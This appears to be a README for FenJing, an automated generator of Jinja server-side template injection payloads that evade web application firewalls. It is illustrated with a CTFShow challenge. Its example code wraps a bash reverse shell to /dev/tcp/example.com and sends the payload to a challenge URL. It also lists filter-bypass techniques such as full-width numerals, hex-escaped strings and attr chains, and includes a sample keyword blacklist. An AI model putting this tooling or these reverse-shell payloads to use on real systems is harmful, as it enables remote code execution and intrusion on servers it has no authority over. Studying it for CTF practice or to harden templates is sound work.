Bypassing the WAF without knowing WAF
FenJing is a payload generator targeting on Jinja SSTI. It focuses on automatically detecting and bypassing WAF.
Example:[CTFShow]web372
First, you should write a function that receive a string. If the string contains characters that would be WAF, return False, otherwise return True.
@functools.lru_cache
def waf(s: str):
time.sleep(0.1)
r = requests.get(url, params = {
"name": s
})
return r.text != ":("
Then pass this function and the shell command you need to this module. The module would generate payload for you.
payload = shell_cmd(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3003 0>&1\"")
Full example
from ssti import shell_cmd
import functools
import time
import requests
import logging
logging.basicConfig(level = logging.WARNING)
# ctf.show web372
url = "http://ddde51f2-ff61-4f88-a9a7-3af3654a76b8.challenge.ctf.show/"
@functools.lru_cache
def waf(s: str):
time.sleep(0.1)
r = requests.get(url, params = {
"name": s
})
return r.text != ":("
payload = shell_cmd(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
r = requests.get(url, params = {
"name": payload
})
print(r.text)
It supports bypassing:
'
and"
- Most of the keywords
- any number
_
[
+
-
~
{{
It supports bypassing +
or -
when bypassing 0-9 at the same time.
It supports two ways for bypassing number detection:
- Full-width numerals
- Calculate any natural number with
+
,-
and some special variables.
Support bypassing '
, "
, g
and lipsum
.
Support (lipsum|escape|batch(22)|list|first|last)
- number 22 support the bypassing mentioned above.
Supprot bypassing '
, "
, +
, _
, ~
and any keyword.
It supports these forms:
'str'
"str"
"\x61\x61\x61"
dict(__class__=cycler)|join
'%c'*3%(97,97,97)
['aaa']
.aaa
|attr('aaa')
['aaa']
.aaa
.__getitem__('aaa')
from ssti import shell_cmd
import logging
logging.basicConfig(level = logging.WARNING)
def waf(s: str):
blacklist = [
"config", "self", "g", "os", "class", "length", "mro", "base", "request", "lipsum",
"[", '"', "'", "_", ".", "+", "~", "{{",
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
"0","1","2","3","4","5","6","7","8","9"
]
for word in blacklist:
if word in s:
return False
return True
payload = shell_cmd(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"")
print(payload)